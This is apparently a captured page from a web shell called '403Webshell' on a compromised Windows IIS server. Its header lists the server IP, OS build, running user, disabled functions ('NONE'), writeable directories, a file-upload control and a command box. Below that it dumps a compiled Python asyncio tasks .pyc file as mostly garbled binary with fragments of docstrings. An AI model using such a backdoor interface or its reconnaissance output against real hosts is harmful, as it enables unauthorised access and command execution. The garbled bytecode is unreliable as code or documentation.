403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/asyncio/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/asyncio/__pycache__/tasks.cpython-315.pyc
R
>lqj��c���QsQ,s]PHs]PHs]PHs]PHs]PHs]PH s]PH$s	]PH(s
]QH$Gs]QH0G
s
]QH0Gs]QH0Gs]QH0Gs]QH0Gs]QH0Gs]Q	H0Gs\O(]2O*sQ-Q
ksQ-QksQQ\O22s\s]PHrs\O49ssQ
s\O"O@s \O"OBs!\O"ODs"QPQ\"-Qks#Qs$Qs%Qs&Qs'QQ2s(QP-Qks)\	OTQ2s+Q-Qks,QP-Qks-QQ\O\2s/QP
-Qks0Q s1Q!s2Q"s3Q#s4\4\2s5\
Ol2s7\82s9-s:Q$s;Q%s<Q&s=Q's>Q(s?Q)s@Q*sA\sB\;sC\<sD\@sE\AsF\=sG\>sH\?sI\sJ]Q+HrG;s;G<s<G@s@GAsAG=s=G>s>G?s?GsGs\sK\;sL\<sM\@sN\AsO\=sP\>sQ\?sR\sSP!\cCK/h9h\cP!h9h).z0Support for tasks, coroutines and the scheduler.�Task)�GenericAlias)�
base_tasks)�
coroutines)�events)�
exceptions)�futures)�queues)�timeoutsc�`�Ue[O2o[OU2!)z!Return a currently executed task.)r�get_running_loop�_current_tasks�get��loops&�"C:\Python315\\Lib\asyncio\tasks.py�current_taskr%s&���|��&�&�(�����d�#�#�c��Ue[O2o[[2o[O
[U2Tt.tFD9o[OU2UIfJUO2%cJ7UjJ;	to!ttoh)z'Return a set of all tasks for the loop.)
rr�list�_eager_tasks�	itertools�chain�_scheduled_tasksr�	_get_loop�done)r�eager_tasks�ts&  r�	all_tasksr,su���|��&�&�(���|�$�K� ���'7��E�>�E�!�� � ��#�t�+�
�45�F�F�H�
�A�E�>�>��>s�B
�)B
�B
c��``�\sQs]8snQsP	sQPQPQPQP
-U1QkksU1Qks\\	2s
QsQ	sQ
s
QsQsQ
sQsQP-QksQPQP-QksQQksQsQsQsQQksU1QksQsQsUsU9s!)rz A coroutine wrapped in a Future.r�name�context�eager_startc�:�[RU_UQ5UO%cUOP[OU2%fP
Um[
QU802gUeQ[20UmL[U2Um]Um
P
UmPUmVm
Ue[O2UmLV@mU%c3UO"O%2%cUO'2P!UO"O)UO*UO Q5[-U2P!)rza coroutine was expected, got zTask-�r )�super�__init__�_source_tracebackr�iscoroutine�_log_destroy_pending�	TypeError�_task_name_counter�_name�str�_num_cancels_requested�_must_cancel�_fut_waiter�_coro�contextvars�copy_context�_context�_loop�
is_running�_Task__eager_start�	call_soon�_Task__step�_py_register_task)�self�cororrr r!�	__class__s&&$$$$�rr%�
Task.__init__Ts����
���d��#��!�!�!��&�&�r�*��%�%�d�+�+�).�D�%��<�T�H�E�F�F��<� �!3�!5� 6�7�D�J��T��D�J�&'��#�!�������
��?�'�4�4�6�D�M�#�M��4�:�:�0�0�2�2���� ��J�J� � ����d�m�m� �D��d�#rc�:�UO[O6XcUUO%cCQUQQ-oUO%cUOUQ$UO
O
U2[RU_!2P!)�task�messagez%Task was destroyed but it is pending!�source_traceback)	�_stater�_PENDINGr(r&r4�call_exception_handlerr$�__del__)r:r r<s& �rrE�Task.__del__ssm����;�;�'�*�*�*�t�/H�/H�/H����B��G��%�%�%�.2�.D�.D��*�+��J�J�-�-�g�6�
���rc�0�[OU2!�N)r�
_task_repr�r:s&r�__repr__�
Task.__repr__�s���$�$�T�*�*rc��UO!rH)r0rJs&r�get_coro�
Task.get_coro�����z�z�rc��UO!rH)r3rJs&r�get_context�Task.get_context�s���}�}�rc��UO!rH)r+rJs&r�get_name�
Task.get_name�rPrc�(�[U2UmP!rH)r,r+)r:�values&&r�set_name�
Task.set_name�s
����Z��
rc��[Q2g)z*Task does not support set_result operation��RuntimeError)r:�results&&r�
set_result�Task.set_result�s���G�H�Hrc��[Q2g)z-Task does not support set_exception operationr\)r:�	exceptions&&r�
set_exception�Task.set_exception�s���J�K�Kr�limitc�0�[OV2!)a%Return the list of stack frames for this task's coroutine.

If the coroutine is not done, this returns the stack where it is
suspended.  If the coroutine has completed successfully or was
cancelled, this returns an empty list.  If the coroutine was
terminated by an exception, this returns the list of traceback
frames.

The frames are always ordered from oldest to newest.

The optional limit gives the maximum number of frames to
return; by default all available frames are returned.  Its
meaning differs depending on whether a stack or a traceback is
returned: the newest frames of a stack are returned, but the
oldest frames of a traceback are returned.  (This matches the
behavior of the traceback module.)

For reasons beyond our control, only one stack frame is
returned for a suspended coroutine.
)r�_task_get_stack)r:res&$r�	get_stack�Task.get_stack�s��*�)�)�$�6�6r�filec�2�[OVU2!)a>Print the stack or traceback for this task's coroutine.

This produces output similar to that of the traceback module,
for the frames retrieved by get_stack().  The limit argument
is passed to get_stack().  The file argument is an I/O stream
to which the output is written; by default output is written
to sys.stderr.
)r�_task_print_stack)r:rerjs&$$r�print_stack�Task.print_stack�s���+�+�D��>�>rc��P
UmUO2%cP
!U9O]*
tmUOd%UOO	UQ5%cP	!P	UmVmP	!)aJRequest that this task cancel itself.

This arranges for a CancelledError to be thrown into the
wrapped coroutine on the next cycle through the event loop.
The coroutine then has a chance to clean up or even deny
the request using try/except/finally.

Unlike Future.cancel, this does not guarantee that the
task will be cancelled: the exception might be caught and
acted upon, delaying cancellation of the task or preventing
cancellation completely.  The task may also return a value or
raise a different exception.

Immediately after this method is called, Task.cancelled() will
not return True (unless the task was already cancelled).  A
task will be marked as cancelled when the wrapped coroutine
terminates with a CancelledError exception (even if cancel()
was not called).

This also increases the task's count of cancellation requests.
��msg)�_log_tracebackrr-r/�cancelr.�_cancel_message)r:rqs&&rrs�Task.cancel�si��,$����9�9�;�;���#�#�q�(�#����'����&�&�3�&�/�/�� ���"��rc��UO!)z�Return the count of the task's cancellation requests.

This count is incremented when .cancel() is called
and may be decremented using .uncancel().
)r-rJs&r�
cancelling�Task.cancelling�s���*�*�*rc��UO]6�c2U9O]*tmUO]6XcP
UmUO!)z�Decrement the task's count of cancellation requests.

This should be called by the party that called `cancel()` on the task
beforehand.

Returns the remaining number of cancellation requests.
)r-r.rJs&r�uncancel�
Task.uncancel�sE���&�&��*��'�'�1�,�'��*�*�a�/�$)��!��*�*�*rc���[UOU2o[U2UOO	UO
P2[
U2[UOU2oV IfPgUO2%cPUmPoP![U2P![
S2h9hSO2%cPSmPoh[S2h9h[SOS2oX IfPgSO2%cPSmPoh[S2hSO2%cPSmPoh[S2h9h9hrH)
�_py_swap_current_taskr4�_py_register_eager_taskr3�run�!_Task__step_run_and_handle_result�_py_unregister_eager_taskrr0r9)r:�	prev_task�curtasks&  r�
__eager_start�Task.__eager_start�s��)�$�*�*�d�;�	�	,�#�D�)�
0��
�
�!�!�$�"C�"C�T�J�)�$�/�
,�/��
�
�I�F����&���9�9�;�;�!%�D�J��D�%�d�+��*�$�/���9�9�;�;�!%�D�J��D�%�d�+��
,�/��
�
�I�F����&���9�9�;�;�!%�D�J��D�%�d�+��	�9�9�;�;�!%�D�J��D�%�d�+�sd�C$�&B$�C$�B4�3B4�$
B1�1C$�4C!�C!�$E �&D0�D0�E �E �0E�E�E c���UO2%c[OQU8QU802gUO%c8[	U[O
2%fUO
2oP
UmPUm[UOU2UOU2[UOU2PoP![SOS2Poh9h)z__step(): already done: z, )rr�InvalidStateErrorr.�
isinstance�CancelledError�_make_cancelled_errorr/�_py_enter_taskr4r��_py_leave_task)r:�excs&&r�__step�Task.__step
s����9�9�;�;��.�.�*�4�(�"�S�G�<�>�
>������c�:�#<�#<�=�=��0�0�2�� %�D������t�z�z�4�(�	��-�-�c�2��4�:�:�t�,��D��
�4�:�:�t�,��D�s�C�C"c�8:�UOoUeUOP2oLUOU2o[UQP2oUCd�[O
U2UOIcH[QU8QU8Q02oUOOUOVPOQ5CL�U%c�V0IcC[QU802oUOOUOVPOQ5CL�[OV02P
UmUOUOUOQ5V0mUO %c4UOO#UO$Q5%cP
UmCL[QU8Q	U802oUOOUOVPOQ5L�Ue3UOOUOUOQ5L�[&O(U2%cF[Q
U8Q	U802oUOOUOVPOQ5LA[QU802oUOOUOVPOQ5PoP![*c\oSO %c'P
Sm[,RS_ESO$Q5Po=KG[,RS_]SO02Po=KePo=h[2O4coXm[,RS_E2Po=K�Po=h[8[:1co[,RS_yS2gPo=h[>co[,RS_yS2Po=K�Po=hh9hPoh9h)N�_asyncio_future_blockingzTask z got Future z attached to a different loopr#zTask cannot await on itself: rpz-yield was used instead of yield from in task z with z;yield was used instead of yield from for generator in task zTask got bad yield: ) r0�send�throw�getattrrrr4r]r7r8r3�future_add_to_awaited_byr��add_done_callback�
_Task__wakeupr/r.rsrt�inspect�isgenerator�
StopIterationr$r_rXrr��_cancelled_exc�KeyboardInterrupt�
SystemExitrc�
BaseException)r:r�r;r^�blocking�new_excr<s&&    �r�__step_run_and_handle_result�!Task.__step_run_and_handle_results ����z�z��H	��{����4������C���$�v�'A�4�H�H��#��$�$�V�,�D�J�J�>�*���x�|�!�*�$A�C�D�G��J�J�(�(����W�m�m�)�E���~�".�;�D�8�D�#F���
�
�,�,� �K�K��-�-�-�I� �8�8��F�:?��7��0�0� �M�M�4�=�=�1�B�+1�(��,�,�,�#�/�/�6�6�(,�(<�(<� 7� >� >�49�� 1��*�#�#'�(�&��
�<�=�G��J�J�(�(����W�m�m�)�E����
�
�$�$�T�[�[�$�-�-�$�H��$�$�V�,�,�&�)�)-���v�j�B�C���
�
�$�$��K�K��-�-�%�A�'�)=�f�Z�'H�I���
�
�$�$��K�K��-�-�%�A��D��C�	.�� � � �$)��!����4�#7�#7��8�8���"�3�9�9�-�-���(�(�	�"%���G�N����!�:�.�	��G�!�#�&����	'��G�!�#�&�&��	'��f�D�s��J5�#J5�N�	#N�-AN�<N�BN�+N�AN�A
N�+BN�5	N�?N�L�!L�3N�8L�N�N�-N�.M�N�N�N�M+�+N�8N�9N
�N�
N�N�Nc���[OV2UO2UO2PoP![coSOS2Po=PoP!Po=hh9hrH)r�future_discard_from_awaited_byr^r8r�)r:�futurer�s&& r�__wakeup�
Task.__wakeupgsV���.�.�v�<�	��M�M�O�
�K�K�M�����	��K�K�������	�s�=�	A&�A&�A!�!A&)
rtr�r3r0r/r(rrr.r+r-rH)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r(r%rE�classmethodr�__class_getitem__rKrNrRrUrYr_rcrhrmrsrwrzr6r8r�r��__static_attributes__�__classdictcell__�
__classcell__�r<�
__classdict__s@@rrr8s�����+�. ��$�T�$��$�d�$�"�$�>	�$�L�1��+���� �I�L�7��7�.	?�4�	?�d�	?�(�T+�+�,�&�"J�X�rc�V�[O2oUOU1-U@!)zUSchedule the execution of a coroutine object in a spawn task.

Return a Task object.
)rr�create_task)r;�kwargsrs&, rr�r��s(��
�"�"�$�D����D�+�F�+�+r�timeout�return_whenc��$ �[OU2%f[OU2%c"[	Q[U2O02gU%f[Q2gU[[[17c[QU02g[U2o[9PIcQU2D%fJP	L	P
LQU22%c[	Q2g[O2o[VV#2EPiw�K
!K3h)a7Wait for the Futures or Tasks given by fs to complete.

The fs iterable must not be empty.

Returns two sets of Future: (done, pending).

Usage:

    done, pending = await asyncio.wait(fs)

Note: This does not raise TimeoutError! Futures that aren't done
when the timeout occurs are returned in the second set.
zexpect a list of futures, not zSet of Tasks/Futures is empty.zInvalid return_when value: c3�Z�SF �Do[OU2w�	J	P!3hrH)rr')�.0�fs& r�	<genexpr>�wait.<locals>.<genexpr>�s��b���b��:�!�!�!�$�$�b�s�$+z6Passing coroutines is forbidden, use tasks explicitly.)r�isfuturerr'r)�typer��
ValueError�FIRST_COMPLETED�FIRST_EXCEPTION�
ALL_COMPLETED�set�anyrr�_wait)�fsr�r�rs&$$ r�waitr��s����������z�5�5�b�9�9��8��b��9J�9J�8K�L�M�M�
��9�:�:��?�O�]�K�K��6�{�m�D�E�E�	�R��B�
�s�
1�b�
1�s�s�s�
1�b�
1�1�1��P�Q�Q��"�"�$�D��r�K�6�6�6�6�6�s9�D�D�(D�% D�#D�*D�>D�0D�D�	Dc�Z�UO2%fUOP2P!P!rH)rr_)�waiter�argss&*r�_release_waiterr��s ���;�;�=�=����$��rc	�� �Ud_U]6:cX[U2oUO2%cUO2![U2EPiw�K
UO2![OU29^tt^2EPiw�K
UEPiw�K
ttPPP2EPiw�K
!K^[O
c
o[SgPo=hh9hKJK@K/)EPiw�K
%fhP!9h3h)a�Wait for the single Future or coroutine to complete, with timeout.

Coroutine will be wrapped in Task.

Returns result of the Future or coroutine.  When a timeout occurs,
it cancels the task and raises TimeoutError.  To avoid the task
cancellation, wrap it in shield().

If the wait is cancelled, the task is also cancelled.

If the task suppresses the cancellation and returns a value instead,
that value is returned.

This function is a coroutine.
)	�
ensure_futurerr^�_cancel_and_waitrr��TimeoutErrorr	r�)�futr�r�s&& r�wait_forr��s����F��w�!�|��C� ���8�8�:�:��:�:�<���s�#�#�#�	(��:�:�<������(�(�(��y�y�)�(�(�
	$���(�(�	(��C�'��	(��)��)�(�(�(�s��C:�C:� C:�C:�B/�C:�B1�%$C:�	C
�
C:�C�C
�C�C:�(C�)C:�1C�C�C
�
C�C:�C�C:�C7	�"C&�#C7	�/C7	�1	C:c��$```	`
` �U%fPQ2gUO2nPn
UdUOU[R2n
[U2n[	2n	UU	UU
U1QkoSFD+oUOU2[OUR	2J-	REPiw�K
R
dR
O2SFD+oUOU2[OUR	2J-	[2[2qvSFD=oUO2%cUOU2J,UOU2J?	Vg1!K�R
dR
O2SFD+oSOS2[OSR	2J-	h9h3h)zNInternal helper for wait().

The fs argument must be a collection of Futures.
zSet of Futures is empty.c�J:�R]*nR]6:f?R[6Xf4R[6XcdUO2%fNUO2d<RdRO	2RO2%fRO
P2[OUR2P!��)	r�r��	cancelledrbrsrr_rr�)r��counter�cur_taskr��timeout_handler�s&�����r�_on_completion�_wait.<locals>._on_completion�st����1����q�L��?�*��?�*�A�K�K�M�M�01���
�0I��)��%�%�'��;�;�=�=��!�!�$�'��.�.�q�(�;r)�
create_future�
call_laterr��lenrr�rr�rs�remove_done_callbackr�r�r�add)r�r�r�rr�r�r�pendingr�r�r�r�s&&f&    @@@@rr�r��sN����
�)�)�)�2�
�
�
�
!�F��N�������/�6�J���"�g�G��~�H�<�<���	���N�+��(�(��H�5��@�����%��!�!�#��A�
�"�"�>�2��2�2�1�h�?���E�3�5�'�
���6�6�8�8��H�H�Q�K��K�K��N�	�
�=��	���%��!�!�#��A�
�"�"�>�2��2�2�1�h�?��sN�	F�F�A(F�E�E�E�#F�'A0F�+F�E�F
�
AF
�
Fc��> �[O2oUO2o[O[
U2oUO
U2UO2UEPiw�K
UOU2P!KSOS2h9h3h)z<Cancel the *fut* future or task and wait until it completes.)	rrr��	functools�partialr�r�rsr�)r�rr��cbs&   rr�r�s|����"�"�$�D�
�
�
�
!�F�	�	�	�?�F�	3�B����"��%��
�
������ � ��$�	��� � ��$�s0�AB�B�,B�-B�2B�B�B�Bc�Z`�\sQsQsnQsQsQsQsQsQs	Qs
Q	sQQ
ksQs
UsP!)
�_AsCompletedIterator�+a
Iterator of awaitables representing tasks of asyncio.as_completed.

As an asynchronous iterator, iteration yields futures as they finish. As a
plain iterator, new coroutines are yielded that will return or raise the
result of the next underlying future to complete.
c	��[O2UmPUm[O
2o[
U2Tt.tFDo[VCQ5jJ	ooSFDoUOUO2J 	U%c%Ud!UOV O2UmVPm[U2UmP!ttoh�Nr)r�Queue�_done�_timeout_handler�get_event_loopr�r�r��_handle_completionr��_handle_timeout�_todor��
_todo_left)r:�awsr�r�aw�todor�s&&&    rr%�_AsCompletedIterator.__init__2s����\�\�^��
�#����$�$�&��7:�3�x�@�x��
�b�,�x��@��A�
���� 7� 7�8���G�'�����)=�)=�>�
� ��
��d�)����As�Cc��U!rH�rJs&r�	__aiter__�_AsCompletedIterator.__aiter__A����rc��U!rHr�rJs&r�__iter__�_AsCompletedIterator.__iter__Dr�rc��� �UO%f[gUO]6�fPgU9O]*tmUO2EPiw�K
!K3h)�)r��StopAsyncIteration�
_wait_for_onerJs&r�	__anext__�_AsCompletedIterator.__anext__GsL�������$�$�����"�"�"����1����'�'�)�)�)�)�)�s�A$�A$�/A$�A"�A$c��UO%f[gUO]6�fPgU9O]*tmUOP	Q5!)r)�resolve)r�r�rrJs&r�__next__�_AsCompletedIterator.__next__NsE������������"�"�"����1����!�!�$�!�/�/rc���UOFD9oUOUO2UOO	P2J;	UOO2P!rH)r�r�r�r��
put_nowait�clear�r:r�s& rr��$_AsCompletedIterator._handle_timeoutUsH�����A�
�"�"�4�#:�#:�;��J�J�!�!�$�'��	
�
�
���rc��UO%fP!UOOU2UOOU2UO%f-UOdUOO2P!P!P!rH)r��remover�rr�rsrs&&rr��'_AsCompletedIterator._handle_completion[s_���z�z�z���
�
���!���
�
���a� ��z�z�z�d�2�2�>�� � �'�'�)�?�zrc�� �UOO2EPiw�K
oUe[OgU%cUO	2!S!K23hrH)r�r
rr�r^)r:rr�s&& rr�"_AsCompletedIterator._wait_for_onecsF����*�*�.�.�"�"�"���9��)�)�)�$�q�x�x�z�+�!�+�	
#�s� A�A�A�A�A)r�r�r�r�)F)r�r�r�r�r�r%r�r�rr	r�r�rr�r�)r�s@rr�r�+s7�����
$���*�0��*�,�,rr�c��[OU2%c"[Q[U2O02g[V2!)a�Create an iterator of awaitables or their results in completion order.

Run the supplied awaitables concurrently. The returned object can be
iterated to obtain the results of the awaitables as they finish.

The object returned can be iterated as an asynchronous iterator or
a plain iterator.  When asynchronous iteration is used, the
originally-supplied awaitables are yielded if they are tasks or
futures.  This makes it easy to correlate previously-scheduled tasks
with their results:

    ipv4_connect = create_task(open_connection("127.0.0.1", 80))
    ipv6_connect = create_task(open_connection("::1", 80))
    tasks = [ipv4_connect, ipv6_connect]

    async for earliest_connect in as_completed(tasks):
        # earliest_connect is done. The result can be obtained by
        # awaiting it or calling earliest_connect.result()
        reader, writer = await earliest_connect

        if earliest_connect is ipv6_connect:
            print("IPv6 connection established.")
        else:
            print("IPv4 connection established.")

During asynchronous iteration, implicitly-created tasks will be
yielded for supplied awaitables that aren't tasks or futures.

When used as a plain iterator, each iteration yields a new coroutine
that returns the result or raises the exception of the next completed
awaitable.  This pattern is compatible with Python versions older than
3.13:

    ipv4_connect = create_task(open_connection("127.0.0.1", 80))
    ipv6_connect = create_task(open_connection("::1", 80))
    tasks = [ipv4_connect, ipv6_connect]

    for next_connect in as_completed(tasks):
        # next_connect is not one of the original task objects. It must
        # be awaited to obtain the result value or raise the exception
        # of the awaitable that finishes next.
        reader, writer = await next_connect

A TimeoutError is raised if the timeout occurs before all awaitables
are done.  This is raised by the async for loop during asynchronous
iteration or by the coroutines yielded during plain iteration.
z'expects an iterable of awaitables, not )r��isawaitabler)r�r�r�)r�r�s&$r�as_completedrnsE��`���2����5�d�2�h�6G�6G�5H�I�
�	
� ��,�,rc#� �Pw�	P!3h)z�Skip one event loop run cycle.

This is a private helper for 'asyncio.sleep()', used
when the 'delay' is set to 0.  It uses a bare 'yield'
expression (which Task.__step knows how to handle)
instead of creating a Future object.
r�r�rr�__sleep0r�s
���
�s�	c�� �U]6:c[2EPiw�K
U![OU2%c[Q2g[O
2oUO
2oUOU[OV12oUEPiw�K
UO2!K�KSO2h9h3h)z9Coroutine that completes after a given time (in seconds).z!Invalid delay: NaN (not a number))r�math�isnanr�rrr�r�r�_set_result_unless_cancelledrs)�delayr^rr��hs&&   r�sleepr �s������z��j����
��z�z�%����<�=�=��"�"�$�D�
�
�
�
!�F������<�<��	(�A���|�|�	���
�	���	���
�sD�C�C�B+�"C�AC�B/�B-�B/�C�-B/�/C�Crc���[OU2%c,Ud&U[OU2Ic[Q2gU!P	o[O
U2%f6[OU2%cQoUU2oP
oL[Q2gUe[O2oUOU2![cS%cSO2gh9h)zeWrap a coroutine or an awaitable in a future.

If the argument is a Future, it is returned directly.
zRThe future belongs to a different loop than the one specified as the loop argumentc��( �UEPiw�K
!K3hrHr�)�	awaitables&r�_wrap_awaitable�&ensure_future.<locals>._wrap_awaitable�s���&���&��s���z:An asyncio.Future, a coroutine or an awaitable is required)rr�rr�rr'r�rr)rr�r�r]�close)�coro_or_futurer�should_closer$s&$  rr�r��s���
����'�'����G�,=�,=�n�,M� M��E�F�
F����L��!�!�.�1�1����~�.�.�
'�-�^�<�N� �L��*�+�
+��|��$�$�&�������/�/������ � �"�
��s�6C�	C,�C,�C,c�B``�\sQsQsnQsU1QksQQksQsUsU9s	!)�_GatheringFuture��z�Helper for gather().

This overrides cancel() to cancel all the children and act more
like Task.cancel(), which doesn't immediately mark itself as
cancelled.
c�P:�UePg[RU_UQ5VmP
UmP!r�)r$r%�	_children�_cancel_requested)r:�childrenrr<s&&$�rr%�_GatheringFuture.__init__�s,�������
���d��#�!��!&��rc��UO2%cP
!P
oUOFDoUOUQ5%fJP	oJ!	U%cP	UmU!)Frp)rr-rsr.)r:rq�ret�childs&&  rrs�_GatheringFuture.cancel�sM���9�9�;�;�����^�^�E��|�|��|�$�$���$��&*�D�"��
r)r.r-rH)
r�r�r�r�r�r%rsr�r�r�r�s@@rr*r*�s�����'��rr*�return_exceptionsc��``	`
``�U%f9[O2oUO2nRO,2R![O2oUd
[U2oLPoU1U	U
UUU1Qkko-o,n	]n]n
,oPnSFD�oVu7c�[
VrQ5oUe[OU2oV�IcP
Um	R]*
nV�U$UO2%cUOU2L4Ud[OV�2UOU2LVW*oR	OU2J�	[R	UQ5nSFDoUU2J
	R!)aMReturn a future aggregating results from the given coroutines/futures.

Coroutines will be wrapped in a future and scheduled in the event
loop. They will not necessarily be scheduled in the same order as
passed in.

All futures must share the same event loop.  If all the tasks are
done successfully, the returned future's result is the list of
results (in the order of the original sequence, not necessarily
the order of results arrival).  If *return_exceptions* is True,
exceptions in the tasks are treated the same as successful
results, and gathered in the result list; otherwise, the first
raised exception will be immediately propagated to the returned
future.

Cancellation: if the outer Future is cancelled, all children (that
have not completed yet) are also cancelled.  If any child is
cancelled, this is treated as if it raised CancelledError --
the outer Future is *not* cancelled in this case.  (This is to
prevent the cancellation of one child to cause other children to
be cancelled.)

If *return_exceptions* is False, cancelling gather() after it
has been marked done won't cancel any submitted awaitables.
For instance, gather can be marked done after propagating an
exception to the caller, therefore, calling ``gather.cancel()``
after catching an exception (raised by one of the awaitables) from
gather won't cancel any other awaitables.
c�R:�R]*
nUd[OV2RdRO2%c)UO2%fUO	2P!R	%faUO2%c$UO2oRO
U2P!UO	2oUdRO
U2P!RR6Xc�,oRFDoUO2%c2[OUOePLUO2oL$UO	2oUeUO2oUOU2J�	RO%c$UO2oRO
U2P!ROU2P!P!r�)rr�rr�rbr�rcrr�rtr^�appendr.r_)
r�r�r��results�resr/�	nfinished�nfuts�outerr5s
&&   �����r�_done_callback�gather.<locals>._done_callback-sK����Q��	����2�2�3�A��=�E�J�J�L�L��=�=�?�?��
�
��� ��}�}����/�/�1���#�#�C�(���m�m�o���?��'�'��,������G����=�=�?�?�%�3�3�!�1�1�9���+�+�-�C��-�-�/�C��{�!�j�j�l�����s�#� �"�&�&�&��/�/�1���#�#�C�(�� � ��)�;rr)rr�r�r_�_get_running_looprr�rrr(rr8r�r�r*)
r5�coros_or_futuresrr�r>�
arg_to_fut�	done_futs�argr�r/r;r<r=s
d*       @@@@r�gatherrEsM���<��$�$�&���"�"�$��
��������#�#�%�D�����%����%-�8*�8*�t�J��H�
�E��I��I��E���� ���/�C��|��(�(��-���~�
,1��(��Q�J�E�!�s�O��x�x�z�z�� � ��%��'��4�4�S�C��%�%�n�5��/�C������1 �4
�X�D�1�E����s����Lrc��UO2%cP!UO2oUeP!QUOOQ0QUQU-oUO%cUOUQ$UO
O
U2P!)Nr@z exception in shielded futurerbr�rA)r�rbr<r�r&r4rD)r�r�r s&  r�_log_on_exceptionrG�s���
�}�}����

�-�-�/�C�
�{��	��=�=�!�!�
"�"?�@��S��#�	�G�����&)�&;�&;��"�#��I�I�$�$�W�-rc�````�[U2nRO2%cR![OR2oUO	2nUd([U29nd[ORR2LPnU1QkoU1QknUU1QkoRdROU2ROR2ROU2R!)a-Wait for a future, shielding it from cancellation.

The statement

    task = asyncio.create_task(something())
    res = await shield(task)

is exactly equivalent to the statement

    res = await something()

*except* that if the coroutine containing it is cancelled, the
task running in something() is not cancelled.  From the POV of
something(), the cancellation did not happen.  But its caller is
still cancelled, so the yield-from expression still raises
CancelledError.  Note: If something() is cancelled by other means
this will still cancel shield().

If you want to completely ignore cancellation (not recommended)
you can combine shield() with a try/except clause, as follows:

    task = asyncio.create_task(something())
    try:
        res = await shield(task)
    except CancelledError:
        res = None

Save a reference to tasks passed to this function, to avoid
a task disappearing mid-execution. The event loop only keeps
weak references to tasks. A task that isn't referenced elsewhere
may get garbage collected at any time, even before it's done.
c�8:�[OUR2P!rH)rr�)�innerr�s&�r�_clear_awaited_by_callback�*shield.<locals>._clear_awaited_by_callback�s����.�.�u�h�?rc�:�RO2%cP!UO2%cRO2P!UO2oUdROU2P!RO	UO22P!rH)r�rsrbrcr_r^)rJr�r=s& �r�_inner_done_callback�$shield.<locals>._inner_done_callback�s\����?�?�����?�?����L�L�N��/�/�#�C����#�#�C�(�� � �����0rc�:�RO2%f>ROR2RO[2RO[2P!P!rH)rr�rGr�)r=rNrJs&��r�_outer_done_callback�$shield.<locals>._outer_done_callback�s@����z�z�|�|��&�&�';�<��&�&�'8�9��#�#�$5�6�	r)r�rrrr�rr�r�)rDrrKrQrNr�rJr=s&   @@@@r�shieldrS�s����B
�#��E��z�z�|�|������U�#�D���� �E����d�);�;�X�H��(�(���9���@�1�7���
��� :�;�
���0�1�	���0�1��Lrc��```�[OR2%f[Q2g[OO2nUUU1QkoRO
U2R!)zkSubmit a coroutine object to a given event loop.

Return a concurrent.futures.Future to access the result.
zA coroutine object is requiredc��:�[O[RRQ5R2P![[1cg[
c.oRO
2%cROS2gPo=hh9h)r)r�
_chain_futurer�r�r�r��set_running_or_notify_cancelrc)r�r;r�rs ���r�callback�*run_coroutine_threadsafe.<locals>.callback�s`���	��!�!�-��4�"@�&�I���-�.�	���	��2�2�4�4��$�$�S�)���	�s&�"(�A1�
A1�A1�A,�A,�,A1)rr'r)�
concurrentr�Future�call_soon_threadsafe)r;rrXr�sff @r�run_coroutine_threadsafer]�sP���
�!�!�$�'�'��8�9�9�
�
�
�
&�
&�
(�F��	���h�'��Mrc�`�QP	-U1QkkoU!)a�Create a function suitable for use as a task factory on an event-loop.

Example usage:

    loop.set_task_factory(
        asyncio.create_eager_task_factory(my_task_constructor))

Now, tasks created will be started immediately (rather than being first
scheduled to an event loop).  The constructor argument can be any
callable that returns a Task-compatible object and has a signature
compatible with `Task.__init__`; it must have the `eager_start`
keyword argument.

Most applications will use `Task` for `custom_task_constructor` and in
this case there's no need to call `create_eager_task_factory()`
directly. Instead the  global `eager_task_factory` instance can be
used. E.g. `loop.set_task_factory(asyncio.eager_task_factory)`.
r!c�":�RU1QUQU-U@!)rr!r�)rr;r!r��custom_task_constructors&&$,�r�factory�*create_eager_task_factory.<locals>.factorys0���&��@��@�)4�@�8>�@�	@rr�)r`rasf r�create_eager_task_factoryrc	s���(@�4�@��Nrc�2�[OU2P!)z;Register an asyncio Task scheduled to run on an event loop.)rr��r?s&r�_register_taskrf2s������rc�2�[OU2P!)z6Register an asyncio Task about to be eagerly executed.)rr�res&r�_register_eager_taskrh7s�����T�rc�t�[OU2oUd[QU8QU8Q02gU[U$P!)NzCannot enter into task z while another task z is being executed.�rr
r]�rr?rs&& r�_enter_taskrl<sL��!�%�%�d�+�L����4�T�H�=#�#/�"2�2E�G�H�	H��N�4�rc�r�[OU2oV!Ic[QU8QU8Q02g[UP!)z
Leaving task z! does not match the current task �.rjrks&& r�_leave_taskroDsH��!�%�%�d�+�L����]�4�(�3/�/;�.>�a�A�B�	B��t�rc�^�[OU2oUe
[UU!U[U$U!rH)rr
)rr?r�s&& r�_swap_current_taskrqLs9���"�"�4�(�I��|��4� ��� $��t���rc�2�[OU2P!)z'Unregister a completed, scheduled Task.)r�discardres&r�_unregister_taskrtUs�����T�"rc�2�[OU2P!)z6Unregister a task which finished its first eager step.)rrsres&r�_unregister_eager_taskrvZs������r)	rfrhrtrvrlrorqrr)rr�r�r�r�r�r�rr rErSr�r]rrrc�eager_task_factoryrfrtrlrorH)Tr��__all__�concurrent.futuresrZr1r�r�rr�types�weakrefr�rrrrrrr	�countr	r*rr�	_PyFuturer�_PyTask�_asyncio�_CTask�ImportErrorr�r�r�r�r�r�r�r�r�r�r�	coroutinerr r�r[r*rErGrSr]rcrw�WeakSetrr�rrrfrhrlrorqrtrv�_py_current_taskr9r~�_py_unregister_taskr�r�r�r}�
_py_all_tasks�_c_current_task�_c_register_task�_c_register_eager_task�_c_unregister_task�_c_unregister_eager_task�
_c_enter_task�
_c_leave_task�_c_swap_current_task�_c_all_tasksr�rr�<module>r�se��6�������������������
�_�_�Q�'�0�0��$�	>�~�7���~�B
��"��
�M�M�!�D�6�,��$�$�4�4���$�$�4�4���"�"�0�0�
�7�d�7�
�7�< �
0�d-�`%�"@,�@,�F5-��5-�p���
��
��(�$��@�w�~�~��:L��L�^.�&J�Z�.�6/�t�4���?�?�$���u�����
�
 ���#�
�
 ��"��.��&��2������*���
